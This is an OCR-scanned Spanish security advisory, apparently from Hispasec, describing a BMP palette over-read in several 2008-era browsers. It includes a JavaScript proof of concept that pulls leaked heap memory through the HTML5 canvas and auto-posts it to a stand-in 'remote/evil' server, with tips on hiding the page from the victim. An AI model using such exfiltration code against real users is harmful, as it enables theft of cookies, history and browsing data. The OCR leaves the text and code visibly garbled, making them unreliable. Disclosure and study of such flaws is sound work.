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1 Introduccion

Varios navegadores, incluido Mozilla Firefox 2.0.0.11, Opera 9.50 beta, Apple
Safari 3.0.4 y Konqueror 3.5.8, contienen cédigo no seguro para cargar imagenes.
Si se aprovecha este codigo se puede mostrar, como datos de imagen, una porcion
pequefia y aleatoria de la memoria heap en la pantalla. En caso de que el
navegador tenga completamente implementada la funcionalidad de la etiqueta
<canvas> de HTML5 (como es el caso de Firefox y Opera) los datos de la imagen
pueden ser recogidos y enviados a un servidor remoto usando codigo JavaScript.

2 Detalles

Existen principalmente dos tipos de ficheros de imagenes: con y sin paleta de
color. Si existe la paleta, los datos de la imagen contienen indices de colores de la
paleta. La imagen final se crea colocando los colores correspondientes tomados de
la paleta en la propia imagen, en el mismo orden de los datos de la imagen (ver

Figura 1).
Palette
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Figura 1: Imagen basada en paleta

La paleta es un continuo array de colores, nhormalmente en formato RGB (existen
otros formatos como YUV, CMYK, etc.). El tamafio de la paleta normalmente
depende del tamafio de la unidad de datos de imagen, por ejemplo, si una unidad
tiene un tamano 8 (256 combinaciones diferentes) la paleta tiene 256 entradas.

Ocurre un pequefio problema en el codificador de imagen cuando un formato de
imagen permite definir el tamafio de la paleta. Un atacante podria aprovechar esto
www._hispasec.com creando una paleta cuyos indices de colores de datos excediesen el nimero de
color de la paleta. Un decodificador defectuoso reservaria una paleta pequeiia, sin
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comprobar si los indices de color son validos: esto llevaria al tratamiento de los
datos en memoria que estan justo después de la paleta como si fueran la paleta en
si misma. En algunos casos, si la paleta fuese destinada al final de un trozo de
memoria, esto podria llevar a un error de lectura, lo que causaria una excepcion.

Este es el caso de los navegadores mencionados antes a la hora de manejar el
formato BMP. La cabecera del formato BMP contiene un campo que se llama
biClrUsed (apdécope de bitmap Colors Used) que permite al decodificador
especificar el nimero de colores en la paleta. Un valor 0 significa 'nimero por
defecto'. El nimero por defecto es calculado basado en el tamafio de la unidad de
datos de la imagen. Si un atacante especifica la paleta como tamafio 1, se coloca
en memoria una paleta de una entrada en total. El bitmap puede sin embargo
contener indices de colores de 0 a 255, lo que es técnicamente posible debido a la
unidad de tamafio 8. A la hora de decodificar la imagen, el decodificador lo que
hara basicamente es copiar los bytes que residen depués de la paleta a la pantalla
como si fuesen pixeles de color (ver Figura 2).

Image data
0(1(2(34|5|6|7]...

Color 0 | Color 1 Color 2 | Color3 |...
AB|12|3D|4E (01|02 |AC|3F|3E] ...
Palette Leaked Memory Data

12|3D|4E|01|02|AC|3F|3E] ...
Final image

Figura 2: Dejando ver los datos
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Esto, todavia, no es peligroso para el usuario. La historia termina aqui para los
navegadores Apple Safari y Konqueror, pero continlda sin embargo para Mozilla
Firefox y Opera.

En HTML 5 se ha introducido una nueva etiqueta <canvas>. Como dice el HTML 5
Draft Recommendation, 'el elemento canvas representa un lienzo dependiente de
la resolucién que puede ser usado para renderizar graficos u otras imagenes al
vuelo'. Existen nuevos métodos JavaScript para interactuar con el elemento canvas
como scale, rotate, translate, o, los mas interesantes drawImage y getImageData.
El método drawImage copia el bitmat al lienzo desde un fichero o desde un bitmap
cargado anteriormente tomado de una etiqueta <img>. El método getImageData
recupera un array de datos de una imagen RGB. Es importante destacar que
getImageData es consierado por algunos desarrolladores como potencialmente
peligroso (y este caso lo confirma) por tanto este método solo esta implementado
en Mozilla Firefox y Opera 9.50 beta. Los desarrolladores de otros navegadores se
han negado a implementarlo.

Un atacante podria crear un script que muestra una imagen falsificada usando la
etiqueta <img>, copia los datos de imagen (los datos, debido a la implementacion
erronea, contienen trozos de memoria) a un lienzo, acceder a esto a través de
JavaScript usando getImageData, y enviarlo a un servidor usando un formulario
JavaScript <form>.

Se muestra a continuacion una prueba de concepto:

<html>
<head>
<img id="forged" src="forged.bmp"/>
<script type="application/x-javascript">
var canvas;
var ctx;
var imgd, i, ss="",3;

function draw ()

{
// Get the canvas and it's context
canvas = document.getElementById ("canvas");
ctx = canvas.getContext ("24d");

// Get the data
try
{
// Get the image
var img = document.getElementById ("forged") ;

// Copy the image data to the canvas
ctx.drawImage (img, 0, 0) ;

// Get the data
imgd = ctx.getImageData (0,0,256,1);
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// Create a string of data
for(i = 4; 1 < 256; i+=4)
{
ss = ss + imgd.data[i].toString() + ',';

ss = ss + imgd.data[i+1].toString() + ',';

ss = ss + imgd.datal[i+2].toString() + ',"';
}

}

catch (err)

{
// Do nothing

}

// Fill the input field
var inpt = document.getElementById("sendstuffinput");
inpt.value = ss;

// Submit
var rfm = document.getElementById ("sendstuffform");

rfm.submit () ;

</script>
</head>

<body onload="draw () ">
<canvas id="canvas" width="256" height="1"></canvas>
<form method="POST" id='sendstuffform'
action='http://remote/evil'>
<input name='sendstuffinput' id='sendstuffinput'/>
</form>
</body>
</html>

Este script permite capturar 255 pixeles de datos, cada uno de 3 bytes. Esto da
765 bytes de datos capturados usando un fichero BMP.

;ﬂl http://localhost/scan/scanl.php - Opera. = i |
File Edit View Bookmarks Widgets Tools Help

0 mewene |

49 . = @ # || http://localhost/scan/scanl.php

-34,21 9,192,228 168,18

|k | ShowImages - & 100% |~

www.hispasec.com ' Figura 3: Script bajo Opera, notese el campo de entrada
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Es posible usar mas de un fichero de imagen por pagina, por ejemplo 100
imagenes (aunque existen ciertos problemas salvables con el mecanismo de caché
de los navegadores) y esto daria 76500 bytes de datos capturados. Sin embargo
es muy probable que las imagenes sean colocadas en el manejador de heap en la
misma posicion: una imagen cargada y liberada para que otra tome su lugar. Esto
implica que el incremento en la cantidad de datos diferentes capturados es muy
pequefia. Por ejemplo usar 100 imagenes en vez de 10 incrementa el ratio de
datos capturados entre 2 y 4 veces solo. Aunque es posible que se puedan usar
métodos diferentes para incrementar este ratio.

Todos los métodos HTML visibles pueden ser ocultados usando el estilo CSS
visibility :hidden. Ademas, todos los elementos pueden residir en un elemento
oculto iframe. Esto significa que el usuario no veria nada raro en una pagina
especialmente manipulada para aprovechar el fallo.

3 Datos de memoria revelados

Durante este estudio hemos observado qué clase de datos pueden ser revelados.

La mayor parte de los datos no son mas que basura en la memoria aleatoria (que
puede ser filtrada). Exceptuando la basura, se ha confirmado que los datos
revelados, seglin navegador, pueden contener también:

- [FF/Opera] Partes de paginas mostradas mientras el escaner esta funcionando.
- [FF/Opera] Partes de websites visitadas en la sesion actual.

« [Opera] Imagenes mostradas

» [FF] cookies

« [FF] historico

« [FF] Paginas favoritas

» [FF/Opera] partes de paquetes de protocolo HTTP/HTTPS

- [FF/Opera] direcciones de sitios visitados mientras el escaner esta funcionando.

No se ha confirmado que se puedan revelar contrasefas, aunque podria ser
posible.

4 Epilogo

Esta vulnerabilidad podria también encontrarse en otros programas, no solo en
navegadores (por ejemplo en visores de imagenes como IrfanView). También
podria afectar a otros formatos de imagen, por ejemplo Apple Safari 3.0.4 tiene un
decodificador para ficheros GIF defectuoso.

Se recomienda comprobar el cdédigo en aplicaciones que contengan procedimientos
de tratamiento de imagenes, por si sufrieran de estos fallos. Especialmente si la
R paseccon aplicacion puede enviar datos procesados a un servidor remoto.
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Hispasec

http://hispasec.com

HTML 5 canvas
http://www.whatwg.org/specs/web-apps/current-work/#the-canvas

Apple Safari BMP and GIF Files remote DoS and Information Disclosure
Vulnerability
http://www.securityfocus.com/bid/27947/info

Firefox 2.0.0.11 and Opera 9.50 beta Remote Memory Information Leak
http://blog.hispasec.com/lab/236

www. hispasec.com
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